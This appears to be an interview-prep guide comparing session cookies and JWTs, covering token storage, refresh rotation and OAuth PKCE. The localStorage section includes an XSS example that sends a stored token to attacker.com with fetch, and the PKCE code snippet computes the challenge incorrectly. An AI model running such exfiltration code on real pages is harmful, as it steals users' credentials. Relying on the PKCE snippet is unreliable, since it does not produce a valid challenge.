JWT vs Cookie Authentication: What Senior Interviewers Want to Know
"Where should you store authentication tokens?" is one of the most frequently asked senior frontend questions. Most candidates get half of it right. This guide covers all of it.
The Core Mental Model
Authentication is a trust problem: "How does the server verify that request #1,000,000 comes from the same user who authenticated in request #1?"
Two approaches: 1. Session-based: server remembers the user; browser carries only an ID 2. Token-based (JWT): server forgets the user; browser carries a self-verifying token
Neither is universally better. The right choice depends on your architecture.
---
Session-Based Authentication
Login: POST /login → server creates session → Set-Cookie: sid=abc123; HttpOnly
Request: GET /profile → Cookie: sid=abc123 → server looks up session in Redis
Logout: DELETE session from Redis → cookie becomes invalid immediately
Pros:
- Instant revocation — delete the session, the user is logged out immediately
- Small cookie (just an ID), no sensitive data in the browser
- Server has full visibility over active sessions
Cons:
- Requires a shared session store (Redis) for horizontal scaling
- Every request hits the session store for lookup
---
JWT — JSON Web Tokens
// JWT structure: header.payload.signature (base64url encoded, NOT encrypted)
{
"sub": "user_123",
"email": "alice@example.com",
"role": "admin",
"iat": 1700000000,
"exp": 1700003600 // expires in 1 hour
}
// Signed with server's secret key — tampering invalidates signature
The server validates the signature without any database lookup. This is the "stateless" advantage.
Pros:
- No session store needed — works across microservices
- Horizontal scaling trivially (any server validates any token)
- Can encode claims (roles, permissions) — no extra DB query
Cons:
- Cannot revoke before expiry — a stolen JWT is valid until exp
- Token grows with each added claim
- Secret key rotation is tricky at scale
---
The Most Important Question: Where Do You Store the Token?
This is the question interviewers ask to separate senior from junior candidates.
### localStorage / sessionStorage
// Common but problematic
localStorage.setItem('token', jwt);
// Any script on the page can read it — including injected XSS fetch('https://attacker.com/steal', { body: localStorage.getItem('token') // token gone });
Problem: XSS vulnerability. Any JavaScript on your page — including third-party scripts, browser extensions, or injected code — can read localStorage.
### httpOnly Cookie (Correct Answer)
# Server sets the token as httpOnly cookie
Set-Cookie: access_token=<jwt>; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
JavaScript cannot access it
document.cookie // won't show access_token
localStorage // not here either
Browser sends it automatically with every request to the domain
GET /api/profile
Cookie: access_token=<jwt> // browser adds this, code doesn't
Why this is correct: HttpOnly prevents JavaScript from reading the cookie. XSS attacks cannot steal what JavaScript cannot access. The token is invisible to all client-side code.
The trade-off: Now you must mitigate CSRF (since cookies are sent automatically). Solution: SameSite=Strict or SameSite=Lax prevents cross-site requests from carrying the cookie.
---
Refresh Token Rotation
Access tokens should be short-lived (15 minutes). How do you avoid logging users out every 15 minutes?
Login response:
Set-Cookie: access_token=<at>; HttpOnly; Max-Age=900 (15 min)
Set-Cookie: refresh_token=<rt>; HttpOnly; Path=/auth/refresh; Max-Age=604800 (7 days)
When access token expires (401 received): POST /auth/refresh Cookie: refresh_token=<rt>
Refresh response: Set-Cookie: access_token=<new_at>; HttpOnly; Max-Age=900 // new access token Set-Cookie: refresh_token=<new_rt>; HttpOnly; Max-Age=604800 // new refresh token (ROTATION) // Old refresh token is now invalid
Why rotation matters: Each refresh token is single-use. If an attacker steals the refresh token and uses it, the legitimate user's next refresh attempt fails (the token was already rotated). The system detects the reuse, revokes the entire token family, and forces re-login.
---
OAuth 2.0 with PKCE (For "Sign in with Google/GitHub")
SPAs cannot safely hold a client secret. The Authorization Code + PKCE flow solves this:
// 1. Generate code verifier and challenge
const verifier = crypto.randomUUID() + crypto.randomUUID(); // random 64-char string
const challenge = btoa(await crypto.subtle.digest('SHA-256', encoder.encode(verifier)));
// 2. Redirect to OAuth provider window.location.href = https://provider.com/authorize? client_id=your_app& redirect_uri=https://yourapp.com/callback& response_type=code& code_challenge=${challenge}& code_challenge_method=S256;
// 3. Exchange code for tokens (with the verifier that proves your identity) const tokens = await fetch('https://provider.com/token', { method: 'POST', body: new URLSearchParams({ code: callbackCode, code_verifier: verifier, // proves you started this flow client_id: 'your_app', grant_type: 'authorization_code', }), });
Why PKCE: The code_verifier proves the entity exchanging the authorization code is the same one that started the flow. An attacker who intercepts the code from the URL cannot exchange it without the verifier.
---
The Complete Security Checklist
| Threat | Defense | |--------|---------| | XSS stealing tokens | httpOnly cookies | | CSRF forging requests | SameSite=Strict/Lax | | Token reuse after logout | Refresh token rotation | | Stolen refresh token | Rotation + family revocation | | Long-lived access | Short expiry (15m) access tokens | | Man-in-the-middle | Secure flag on cookies (HTTPS only) |
---
Interview Answer Template
"I'd store the access token in an httpOnly cookie — JavaScript can't read it, so XSS attacks can't steal it. Access tokens should be short-lived (15 minutes) with a separate long-lived refresh token, also httpOnly, scoped to the refresh endpoint only. On expiry, the client hits /auth/refresh to get a new pair. Refresh tokens should rotate on each use — this detects replay attacks. For CSRF protection with cookies, I'd set SameSite=Lax or Strict, which blocks cross-site cookie sending for most attack vectors. localStorage is convenient but off the table for tokens in security-conscious applications."